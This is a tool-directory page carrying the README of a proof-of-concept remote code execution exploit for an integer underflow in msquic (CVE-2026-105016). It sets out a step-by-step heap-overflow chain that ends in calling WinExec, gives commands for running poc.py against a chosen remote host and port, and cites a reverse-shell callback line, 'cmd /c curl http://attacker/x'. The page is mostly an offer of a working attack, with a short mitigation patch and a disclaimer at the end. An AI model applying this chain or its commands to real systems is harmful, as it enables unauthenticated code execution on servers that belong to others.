Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-105016-RCE-PoC — CVE-2026-105016 - Blind RCE in msquic (QuicStreamSendWrite uint16 underflow) - CVSS 9.8 | Kitploit
Tools/GitHubGitHub/lheiakim/cve-2026-105016-rce-poc
Vulnerability AnalysisExploitationNetwork SecurityPayload DevelopmentRemote Access TrojanBinary Exploitation
GitHublheiakim/cve-2026-105016-rce-poc

CVE-2026-105016-RCE-PoC

CVE-2026-105016 - Blind RCE in msquic (QuicStreamSendWrite uint16 underflow) - CVSS 9.8

View Repository
12 days agoNot yet reviewed
Share

CVE-2026-105016 — Blind RCE in msquic (QuicStreamSendWrite)

CVSS 9.8 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — CWE-191 (Integer Underwrite) → CWE-122 (Heap Overflow) → Remote Code Execution

A single unauthenticated UDP packet leads to arbitrary code execution in any service built on a vulnerable msquic (HTTP/3 servers, QUIC services).

⚠️ For educational purposes and authorized security testing only. Tested exclusively against a self-hosted lab (localhost). You are responsible for complying with the laws that apply to you.


The vulnerability

In src/core/stream_send.c, QuicStreamSendWrite computes a stream frame length as a difference of two uint16 values:

StreamFrameLength = AvailableBufferLength - DatagramLength;  // uint16
memcpy(Dst, Src, StreamFrameLength);

When DatagramLength > AvailableBufferLength, the subtraction wraps and StreamFrameLength becomes ~65520. The subsequent copy writes 64 KB into a ~1.2 KB buffer.

Measured geometry (instrumented build): the copy lands at dst = buf_base + 1233 with len = 65520 — the entire block overflow floods adjacent heap allocations, including their pool headers (CXPLAT_POOL_HEADER, 16 bytes: union { Owner | SListEntry }).

From underflow to RCE (the blind chain)

The PoC needs no address knowledge (no leaks, no module bases):

#StageMechanism
1Trigger stateQUIC request 'A'*32 + 18 000 zero bytes + closed-loop thermostat (CL_TARGET=1282) hold the stream in the underflow window
2Detonationuint16 wrap → memcpy(65520) at base+1233 floods neighbor pool blocks
3CarrierCopied bytes carry [addr][0x00636c6163] pairs. Dual-value qword: the bytes of "calc\0" little-endian are a valid user-space pointer (0x00636c6163) — one qword is simultaneously the command string and the pool pointer
4Owner paintThe overflow paints the Owner field of a pool block that is freed later
5FreeCxPlatPoolFree: Pool = Header->Owner → dereferences the painted value
6Fake poolAt the fixed low address 0x636c0000 (ASLR-free): { MaxDepth=0 @+0x18, Free=kernel32!WinExec @+0x28 }
7CallQueryDepthSList(Pool)=0 >= MaxDepth=0 → CALL [Pool+0x28] = WinExec(rcx=Header); rcx bytes read "calc\0"
8RCECalculatorApp spawns on the target

Reverse shell is the same chain with a different command (stage-1 callback was demonstrated: cmd /c curl http://attacker/x produced 60+ HTTP callbacks to the attacker listener).

Stage-0

The fake pool at 0x636c0000 must exist in the target process. The lab helper commits it via VirtualAllocEx (POC_STAGE0=1, default against the local lab). On a remote target the same two qwords are delivered by the unlink write primitive of this same bug — mov [rax], rcx with both operands attacker-controlled was proven to execute ([pool+0x28] = WinExec, crash fingerprint rw=1 target=WinExec+8).

Per-boot value

WinExec (kernel32) is stable within a boot. The PoC default is a lab value; override with POC_WINEXEC=0x... or brute-force the small per-boot set (hundreds of attempts).

Usage

pip install -r requirements.txt

# Lab (localhost quicsample target):
python poc.py

# Against a target you are authorized to test:
POC_STAGE0=0 POC_TARGET_HOST=10.0.0.5 POC_TARGET_PORT=4567 python poc.py

Output on success:

[attempt 02] underflow=1 painted_free=4
*** RCE: calculator spawned on the target (blind chain) ***
evidence saved: rce_evidence.log (underflow=1 painted_free=4)

Landing is probabilistic (the painted block must be freed): observed on the 2nd attempt of the final series; a 12-attempt series suffices for the lab.

Affected platforms

  • Vulnerability: any OS running a vulnerable msquic (the underflow is in cross-platform code).
  • This PoC (chain): Windows x64 (the post-overflow primitive uses CXPLAT_POOL/CXPLAT_POOL_HEADER and WinExec from the Windows platform layer). Linux/macOS need their own post-overflow chain.
  • Verified: Windows 11 x64 (build 26200) lab.

Mitigation

Fix the subtraction — validate before computing the frame length:

if (DatagramLength > AvailableBufferLength) {
    return QUIC_STATUS_INVALID_STATE;  // or clamp; never wrap
}

Filtering cannot mitigate: the trigger is ordinary QUIC stream traffic.

Repository layout

poc.py             single-file PoC (trigger → overflow → blind RCE)
README.md          this file
LICENSE            MIT
requirements.txt   Python dependencies (aioquic)

Disclaimer

Provided for education and authorized defense/testing. The author is not liable for misuse. Test only systems you own or are explicitly authorized to test.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    897
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    853
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    668
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    448
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    417
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    400

Explore all tools

Browse our collection of tools

View all tools →